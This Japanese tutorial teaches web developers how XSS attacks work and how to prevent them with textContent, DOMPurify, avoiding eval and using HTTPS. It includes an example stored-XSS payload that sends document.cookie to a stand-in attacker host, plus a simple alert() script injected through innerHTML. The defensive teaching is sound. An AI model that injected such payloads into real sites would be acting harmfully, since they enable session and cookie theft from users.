🛡️ 絶対に知っておくべき防御術！JavaScriptのセキュリティ基礎と「XSS攻撃」対策

あなたはこれまで、動的なWebサイトを構築するためのすべての技術を習得しました。しかし、Webサイトが複雑になるほど、セキュリティ上のリスクも増大します。

悪意ある第三者（攻撃者）は、あなたが書いたコードの「隙間」を狙って、あなたのサイトのユーザーに危害を加えようとします。例えば、ユーザーの個人情報（クッキーやセッション情報）を盗み出す、勝手にコンテンツを書き換えるといった行為です。

デプロイメントが完了し、世界に公開されたあなたのWebサイトを守るためには、セキュリティの基本原則を理解し、防御策をコードに組み込む必要があります。今回は、最も一般的なWeb攻撃である**XSS（クロスサイトスクリプティング）**とその対策に焦点を当てて解説します。

1. 🚨 Webセキュリティの最大の脅威：XSS攻撃とは？

XSS (Cross-Site Scripting) は、Webサイトの入力フォームやURLパラメータなどを悪用し、攻撃者の用意した悪意のあるJavaScriptコードを、他のユーザーのブラウザ上で実行させる攻撃です。

XSS攻撃は、あなたがこれまで使ってきたDOM操作の機能を悪用します。

攻撃者がコードを埋め込む: 攻撃者は、コメント欄や掲示板などに、悪意のあるスクリプト（例：<script>document.location='http://attacker.com/?data=' + document.cookie</script>）を投稿します。
サーバーがそれを保存: サーバーはそのデータを無害なテキストとしてデータベースに保存します。
被害者がサイトを閲覧: 別のユーザー（被害者）がそのページを閲覧すると、あなたのJavaScriptコードが、保存されたデータをそのままHTMLとして読み込みます。
コードが実行される: ブラウザが、悪意のある<script>タグを認識し、被害者のブラウザ上で実行してしまいます。
被害発生: 実行されたスクリプトにより、被害者のセッションクッキーが盗まれ、攻撃者に送信されます。

XSS攻撃を防ぐための原則は一つです。それは、「ユーザーが入力したデータは、決して信用しない」ことです。

ユーザーから受け取ったデータを、HTMLとして解釈されないように無害な文字列に変換する処理を**サニタイズ（Sanitize）**と呼びます。

具体的には、HTMLのタグとして解釈される可能性のある特殊文字を、その文字を意味するHTMLエンティティに変換します。

Google スプレッドシートにエクスポート

あなたがユーザーの入力データをDOMに反映させる際に、最も危険なのが**innerHTML**の使用です。

JavaScript

const userData = "<script>alert('XSS攻撃成功！')</script>"; // 攻撃コード
document.getElementById('content').innerHTML = userData; // ← ブラウザがスクリプトを実行する

ユーザーの入力データをHTMLとして表示する必要がない場合は、必ず**textContent**を使いましょう。textContentは、挿入される文字列を純粋なテキストとして扱い、HTMLタグとして解釈されるのを防ぎます。

JavaScript

const userData = "<script>alert('XSS攻撃成功！')</script>"; 
document.getElementById('content').textContent = userData; // ← スクリプトは実行されない（ただの文字列として表示される）

もしどうしてもHTMLタグを許可する必要がある場合（例：一部の装飾タグのみ許可）、自作のサニタイズ関数ではなく、DOMPurifyのような専門のサニタイズライブラリを使うのが、プロのベストプラクティスです。これらのライブラリは、複雑な攻撃パターンにも対応しています。

eval()関数は、引数に渡された文字列をJavaScriptのコードとして実行してしまいます。これは攻撃者が任意のコードを実行させるための入り口となるため、使用は厳禁です。

変数のスコープを意識し、varではなくconstやletを使いましょう。これにより、意図しないグローバル変数の上書きを防ぎ、コードの安全性が高まります。

Webサイトとユーザーのブラウザ間の通信を暗号化するHTTPSを必ず使用しましょう。これにより、通信途中でデータ（特にユーザーのパスワードや個人情報）が盗聴されるのを防げます。

セキュリティは、Webサイトの「追加機能」ではなく、**「必須の基礎機能」**です。

あなたの作品を世界に公開した以上、そのセキュリティに責任を持つことが真のプログラマーの証です。この防御術をコードに組み込み、安全で信頼性の高いWebサイトを提供しましょう！